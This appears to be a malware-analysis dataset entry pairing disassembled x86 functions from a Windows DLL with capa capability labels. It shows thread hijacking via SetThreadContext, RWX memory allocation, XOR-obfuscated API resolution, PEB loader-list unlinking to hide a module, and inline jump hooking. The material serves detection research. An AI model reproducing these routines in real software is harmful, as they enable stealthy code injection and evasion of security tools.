joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001fea0
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x10091040]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x75
mov dword [ebp - 0x2f8], 0x19012775
mov dword [ebp - 0x2f4], 0x11141a39
xor eax, eax
mov dword [ebp - 0x2f0], 0x1c070126
mov word [ebp - 0x2ec], 0x121b
mov byte [ebp - 0x2ea], 0
xor byte [ebp + eax - 0x2f7], cl
inc eax
cmp eax, 0xd
jae 0x1001fefa
mov cl, byte [ebp - 0x2f8]
jmp 0x1001fee5
push ebx
mov byte [ebp - 0x2e8], 0x18
mov al, 0x76
xor al, byte [ebp - 0x2e8]
mov bl, 0x74
mov ah, bl
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e8]
mov dl, 0x7c
mov bh, ah
mov byte [ebp - 0x2d9], ah
mov dh, dl
mov byte [ebp - 0x2de], 0
xor dl, al
mov byte [ebp - 0x2ea], 0
xor bl, al
mov byte [ebp - 0x2e5], dl
xor ah, al
mov byte [ebp - 0x2e4], bl
xor dh, al
mov byte [ebp - 0x2e3], ah
xor bh, al
mov byte [ebp - 0x2e1], dh
mov cl, 0x6c
mov byte [ebp - 0x2e0], bh
xor cl, al
mov byte [ebp - 0x2de], 0
mov ch, 0x36
mov byte [ebp - 0x2e6], cl
xor ch, al
mov al, byte [ebp - 0x2d9]
xor al, byte [ebp - 0x2e8]
mov byte [ebp - 0x2df], al
lea eax, [ebp - 0x2e7]
push esi
push eax
mov byte [ebp - 0x2e2], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x2f7]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
je 0x10020072
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10020072
push 0x2c8
lea eax, [ebp - 0x2d4]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10020072
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x10020072
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10020072
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x10001e60
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x10020072
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007d0a4
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.1007d0a4
mov esp, ebp
pop ebp
ret
Function at 0x10020090
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov byte [ebp - 0x10], 0x2d
mov al, 0x43
xor al, byte [ebp - 0x10]
mov bl, 0x41
mov ah, bl
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x10]
mov dl, 0x49
push esi
mov esi, ecx
mov byte [ebp - 1], ah
mov bh, ah
mov byte [ebp - 6], 0
mov dh, dl
mov byte [ebp - 6], 0
xor dl, al
xor bl, al
xor ah, al
mov byte [ebp - 0xd], dl
xor dh, al
mov byte [ebp - 0xb], ah
xor bh, al
mov byte [ebp - 0xc], bl
mov cl, 0x59
mov byte [ebp - 9], dh
xor cl, al
mov byte [ebp - 8], bh
mov ch, 3
mov byte [ebp - 0xe], cl
xor ch, al
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x10]
mov byte [ebp - 7], al
lea eax, [ebp - 0xf]
push edi
push eax
mov byte [ebp - 0xa], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
je 0x10020163
movaps xmm0, xmmword [0x10089e50]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x7e645862
mov dword [ebp - 0x14], 0x686d69
nop word [eax + eax]
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0x16
jb 0x10020120
lea eax, [ebp - 0x27]
mov byte [ebp - 0x11], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x10020163
test esi, esi
jne 0x1002014e
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, eax
push 0
push 0
push 0x11
push esi
call edi
test eax, eax
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10020170
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x100201ae
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100201b2
cmp edx, esi
jne 0x10020197
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x100201d2
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100201d6
cmp edx, esi
jne 0x100201bb
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x100201f6
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100201fa
cmp edx, esi
jne 0x100201df
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10022b80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007fd9d
mov eax, dword fs:[0]
push eax
sub esp, 0x48
push esi
push edi
mov eax, dword [0x10091040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edx, dword [ebp + 8]
mov eax, dword [esi + 8]
mov dword [0x1009353c], eax
test edx, edx
je 0x10022d3e
cmp dword [ebp + 0xc], 1
jne 0x10022d3e
mov eax, dword [esi + 4]
test eax, eax
je 0x10022d29
cmp edx, eax
jne 0x10022d29
cmp byte [0x100934a3], 0
sete al
xor ecx, ecx
mov byte [0x100934a3], al
test al, al
je 0x10022c16
movaps xmm0, xmmword [0x100898d0]
movups xmmword [ebp - 0x40], xmm0
mov word [ebp - 0x30], 0x35
nop
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x10
jb 0x10022c00
mov byte [ebp - 0x2f], 0
lea edx, [ebp - 0x3f]
jmp 0x10022c39
movaps xmm0, xmmword [0x100894b0]
movups xmmword [ebp - 0x54], xmm0
mov byte [ebp - 0x44], 0
mov al, byte [ebp - 0x54]
xor byte [ebp + ecx - 0x53], al
inc ecx
cmp ecx, 0xf
jb 0x10022c25
mov byte [ebp - 0x44], 0
lea edx, [ebp - 0x53]
mov ecx, edx
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10022c53
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x2c]
call fcn.100024a0
mov dword [ebp - 4], 0
mov eax, dword [esi]
mov esi, dword [ebp - 0x2c]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10022cf4
push 4
push eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10022cf4
cmp dword [ebp - 0x18], 0xf
lea ecx, [ebp - 0x2c]
cmova ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10022c93
sub ecx, edx
mov dword [ebp - 0x10], ecx
lea esi, [ecx + 0x21]
push esi
call fcn.1007d113
push esi
mov edi, eax
push 0
push edi
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp - 0x18], 0xf
lea edx, [ebp - 0x2c]
push dword [ebp - 0x10]
cmova edx, dword [ebp - 0x2c]
lea esi, [edi + 0x20]
push edx
push esi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x10]
add esp, 0x1c
mov ecx, dword [ebp - 0x14]
mov dword [edi + 4], esi
mov dword [edi + 0x14], eax
push edi
mov dword [edi + 0x18], 0x1f
call dword [0x10088b78]
push edi
call fcn.1007d11c
mov esi, dword [ebp - 0x2c]
add esp, 4
mov eax, dword [ebp - 0x18]
cmp eax, 0xf
jbe 0x10022d29
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x10022d1f
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10022d1f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push esi
call fcn.1007d105
add esp, 8
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x10023010
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007fdcd
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x10091040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x28], edi
or eax, 0xffffffff
mov dword [ebp - 0x14], 0
mov dword [edi + 0x38], eax
lea ecx, [ebp - 0x34]
mov word [edi + 0x3c], ax
xorps xmm0, xmm0
lea eax, [ebp - 0x28]
movq qword [ebp - 0x1c], xmm0
sub eax, ecx
mov dword [edi + 0x14], 0
mov dword [ebp - 0x20], eax
sar eax, 2
mov dword [edi + 0x10], 0
mov dword [edi + 0xc], 0
mov dword [edi + 8], 0
mov dword [edi + 4], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x34], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x2c], 0
mov dword [ebp - 0x34], 0x350
mov dword [ebp - 0x30], 0x140
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x24], eax
test eax, eax
je 0x10023117
push eax
lea ecx, [ebp - 0x1c]
call fcn.10021ce0
push dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
lea eax, [ebp - 0x34]
push eax
push esi
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x24]
add esp, 0xc
lea eax, [esi + eax*4]
mov dword [ebp - 0x18], eax
sub esp, 0xc
mov dword [ebp - 4], 0
mov esi, esp
mov dword [ebp - 0x24], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x1c]
sar eax, 2
test eax, eax
je 0x10023173
push eax
mov ecx, esi
call fcn.10021ce0
mov edi, dword [esi]
mov esi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
sub esi, eax
push esi
push eax
push edi
call sub.VCRUNTIME140.dll_memmove
mov ecx, dword [ebp - 0x24]
add esp, 0xc
sar esi, 2
lea eax, [edi + esi*4]
mov edi, dword [ebp - 0x28]
mov dword [ecx + 4], eax
mov ecx, 0xd78d54
call fcn.10014fb0
mov esi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
add esp, 0xc
mov dword [edi], eax
push 4
push 0x4de1e6
call esi
test eax, eax
jne 0x100231a4
mov edx, 0x10025a70
mov ecx, 0x4de1e6
call fcn.1001a030
mov eax, dword [edi]
test eax, eax
je 0x1002320c
push 4
push eax
call esi
test eax, eax
jne 0x1002320c
mov ecx, edi
call fcn.10023240
cmp dword [0x1009354c], 0
jne 0x10023212
mov eax, dword [edi]
mov dword [ebp - 0x20], eax
test eax, eax
je 0x100231ee
push 4
push eax
call esi
test eax, eax
jne 0x100231ee
mov eax, dword [ebp - 0x20]
push 4
add eax, 0x64
push eax
call esi
test eax, eax
jne 0x100231ee
mov eax, dword [ebp - 0x20]
mov esi, dword [eax]
add esi, 0x64
jmp 0x100231f0
xor esi, esi
mov eax, dword [esi]
push 4
push eax
mov dword [0x1009354c], eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10023212
mov dword [esi], 0x10025aa0
jmp 0x10023212
mov dword [edi], 0
lea ecx, [ebp - 0x1c]
call fcn.10009460
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007d0a4
mov esp, ebp
pop ebp
ret
Function at 0x100333b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x48
movaps xmm0, xmmword [0x10089f20]
push esi
mov esi, ecx
mov dword [esp + 0x18], 0x716b477d
push edi
mov dword [esp + 8], esi
xor ecx, ecx
movups xmmword [esp + 0xc], xmm0
mov dword [esp + 0x20], 0x6c796d6c
mov dword [esp + 0x24], 0x767771
mov al, byte [esp + 0xc]
xor byte [esp + ecx + 0xd], al
inc ecx
cmp ecx, 0x1a
jb 0x100333e7
xorps xmm0, xmm0
mov byte [esp + 0x27], 0
lea ecx, [esp + 0xd]
movaps xmmword [esp + 0x30], xmm0
mov dword [esp + 0x40], 0
lea edx, [ecx + 1]
mov dword [esp + 0x44], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10033420
sub ecx, edx
lea eax, [esp + 0xd]
push ecx
push eax
lea ecx, [esp + 0x38]
call fcn.100024a0
cmp dword [esp + 0x40], 0
mov edi, dword [esi]
mov dword [esp + 0x28], edi
je 0x100334be
test edi, edi
je 0x100334be
push 4
push edi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x100334be
mov eax, dword [edi + 0xc4]
mov dword [esp + 0x2c], eax
mov esi, dword [eax]
cmp esi, eax
je 0x100334ba
cmp esi, dword [edi + 0xc4]
jne 0x10033474
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
mov edi, dword [esi + 8]
test edi, edi
je 0x100334a0
cmp dword [edi + 0x78], 0x10
lea ecx, [edi + 0x64]
jb 0x10033486
mov ecx, dword [ecx]
cmp dword [esp + 0x44], 0xf
lea eax, [esp + 0x30]
cmova eax, dword [esp + 0x30]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x100334f1
mov edi, dword [esp + 0x28]
cmp esi, dword [edi + 0xc4]
jne 0x100334b2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
mov esi, dword [esi]
cmp esi, dword [esp + 0x2c]
jne 0x10033466
mov esi, dword [esp + 8]
xor edi, edi
mov ecx, dword [esp + 0x44]
mov dword [esi + 4], edi
cmp ecx, 0xf
jbe 0x10033501
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100334f7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100334f7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov esi, dword [esp + 8]
jmp 0x100334c0
push ecx
push edx
call fcn.1007d105
add esp, 8
mov esi, dword [esi]
test esi, esi
je 0x1003351e
push 4
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1003351e
push 0x14
mov ecx, esi
call dword [0x10088b28]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1003a070
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x48
movaps xmm0, xmmword [0x100891d0]
xor edx, edx
push esi
push edi
mov edi, ecx
mov dword [esp + 0x1c], edi
movups xmmword [esp + 0x20], xmm0
nop
mov al, byte [esp + 0x20]
xor byte [esp + edx + 0x21], al
inc edx
cmp edx, 0xe
jb 0x1003a090
xorps xmm0, xmm0
mov byte [esp + 0x2f], 0
lea ecx, [esp + 0x21]
movaps xmmword [esp + 0x30], xmm0
mov dword [esp + 0x40], 0
lea edx, [ecx + 1]
mov dword [esp + 0x44], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1003a0c2
sub ecx, edx
lea eax, [esp + 0x21]
push ecx
push eax
lea ecx, [esp + 0x38]
call fcn.100024a0
cmp dword [esp + 0x40], 0
mov edi, dword [edi]
mov dword [esp + 0x14], edi
je 0x1003a15c
test edi, edi
je 0x1003a15c
push 4
push edi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1003a15c
mov eax, dword [edi + 0xc4]
mov dword [esp + 0x18], eax
mov esi, dword [eax]
cmp esi, eax
je 0x1003a15c
cmp esi, dword [edi + 0xc4]
jne 0x1003a116
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
mov edi, dword [esi + 8]
test edi, edi
je 0x1003a142
cmp dword [edi + 0x78], 0x10
lea ecx, [edi + 0x64]
jb 0x1003a128
mov ecx, dword [ecx]
cmp dword [esp + 0x44], 0xf
lea eax, [esp + 0x30]
cmova eax, dword [esp + 0x30]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1003a15e
mov edi, dword [esp + 0x14]
cmp esi, dword [edi + 0xc4]
jne 0x1003a154
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
mov esi, dword [esi]
cmp esi, dword [esp + 0x18]
jne 0x1003a108
xor edi, edi
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x44]
mov dword [eax + 4], edi
cmp ecx, 0xf
jbe 0x1003a19d
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003a193
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1003a193
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1007d105
add esp, 8
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1003d210
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x48
movaps xmm0, xmmword [0x10089fe0]
xor edx, edx
push esi
push edi
mov edi, ecx
mov byte [esp + 0x2c], 0
mov dword [esp + 0x18], edi
movups xmmword [esp + 0x1c], xmm0
mov al, byte [esp + 0x1c]
xor byte [esp + edx + 0x1d], al
inc edx
cmp edx, 0xf
jb 0x1003d234
xorps xmm0, xmm0
mov byte [esp + 0x2c], 0
lea ecx, [esp + 0x1d]
movaps xmmword [esp + 0x30], xmm0
mov dword [esp + 0x40], 0
lea edx, [ecx + 1]
mov dword [esp + 0x44], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1003d266
sub ecx, edx
lea eax, [esp + 0x1d]
push ecx
push eax
lea ecx, [esp + 0x38]
call fcn.100024a0
cmp dword [esp + 0x40], 0
mov edi, dword [edi + 4]
mov dword [esp + 0x10], edi
je 0x1003d304
test edi, edi
je 0x1003d304
push 4
push edi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1003d304
mov eax, dword [edi + 0xc4]
mov dword [esp + 0x14], eax
mov esi, dword [eax]
cmp esi, eax
je 0x1003d304
nop dword [eax]
cmp esi, dword [edi + 0xc4]
jne 0x1003d2be
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
mov edi, dword [esi + 8]
test edi, edi
je 0x1003d2ea
cmp dword [edi + 0x78], 0x10
lea ecx, [edi + 0x64]
jb 0x1003d2d0
mov ecx, dword [ecx]
cmp dword [esp + 0x44], 0xf
lea eax, [esp + 0x30]
cmova eax, dword [esp + 0x30]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1003d306
mov edi, dword [esp + 0x10]
cmp esi, dword [edi + 0xc4]
jne 0x1003d2fc
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
mov esi, dword [esi]
cmp esi, dword [esp + 0x14]
jne 0x1003d2b0
xor edi, edi
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x44]
mov dword [eax], edi
cmp ecx, 0xf
jbe 0x1003d344
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003d33a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1003d33a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1007d105
add esp, 8
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10079eb0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1008254d
mov eax, dword fs:[0]
push eax
sub esp, 0x7c
mov eax, dword [0x10091040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0xf
lea ecx, [ebp - 0x84]
push dword [ebp + 0x18]
cmova eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x84], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0x67452301
mov dword [ebp - 0x34], 0xefcdab89
mov dword [ebp - 0x30], 0x98badcfe
mov dword [ebp - 0x2c], 0x10325476
call fcn.10079d40
cmp byte [ebp - 0x84], 0
jne 0x1007a001
xor ecx, ecx
lea edx, [ebp - 0x3f]
movzx eax, byte [edx - 1]
lea edx, [edx + 4]
mov byte [ebp + ecx - 0x18], al
movzx eax, byte [edx - 4]
mov byte [ebp + ecx - 0x17], al
movzx eax, byte [edx - 3]
mov byte [ebp + ecx - 0x16], al
movzx eax, byte [edx - 2]
mov byte [ebp + ecx - 0x15], al
add ecx, 4
cmp ecx, 8
jb 0x10079f45
mov edx, dword [ebp - 0x40]
mov ecx, 0x78
shr edx, 3
mov eax, 0x38
and edx, 0x3f
sub ecx, edx
sub eax, edx
cmp edx, 0x38
cmovae eax, ecx
lea ecx, [ebp - 0x84]
push eax
push 0x100926b8
call fcn.10079d40
push 8
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x84]
call fcn.10079d40
xor ecx, ecx
lea edx, [ebp - 0x37]
movzx eax, byte [edx - 1]
lea edx, [edx + 4]
mov byte [ebp + ecx - 0x28], al
movzx eax, byte [edx - 4]
mov byte [ebp + ecx - 0x27], al
movzx eax, byte [edx - 3]
mov byte [ebp + ecx - 0x26], al
movzx eax, byte [edx - 2]
mov byte [ebp + ecx - 0x25], al
add ecx, 4
cmp ecx, 0x10
jb 0x10079fb4
push 0x40
lea eax, [ebp - 0x83]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov byte [ebp - 0x84], 1
add esp, 0xc
movq qword [ebp - 0x40], xmm0
push esi
lea ecx, [ebp - 0x84]
call fcn.10079df0
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0xf
jbe 0x1007a043
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1007a039
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1007a039
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1007d105
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007d0a4
mov esp, ebp
pop ebp
ret
Function at 0x1007a060
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10091040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x10], edx
mov eax, 5
mov dword [ebp - 0xc], edi
add eax, eax
mov ecx, 0xffffffff
cmovo eax, ecx
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
mov ebx, esi
push eax
push 0x40
push 5
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call edi
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx]
mov dword [esi], eax
mov al, byte [ecx + 4]
mov byte [esi + 4], al
add esi, 5
mov eax, ecx
sub eax, esi
mov dword [esi + 1], eax
mov eax, dword [ebp - 0x10]
sub eax, ecx
mov byte [esi], 0xe9
sub eax, 5
mov byte [ecx], 0xe9
mov dword [ecx + 1], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 5
push ecx
call edi
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007d0a4
mov esp, ebp
pop ebp
ret

Function at 0x1007a3a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.1007a570
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x1007a47d
mov edx, dword [ebp - 4]
cmp edx, dword [section..data]
jb 0x1007a3ea
mov eax, dword [ebp - 4]
cmp eax, dword [0x10091004]
ja 0x1007a3ea
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1007a3ba
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1007a40f
jmp 0x1007a47d
cmp dword [ebp - 0x14], 0x10000
jne 0x1007a463
cmp dword [ebp - 0x18], 0x10000
jb 0x1007a463
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1007a446
mov eax, dword [ebp - 8]
jmp 0x1007a47f
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x1007a456
xor eax, eax
jmp 0x1007a47f
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1007a478
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.1007a570
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1007a3ba
xor eax, eax
mov esp, ebp
pop ebp
ret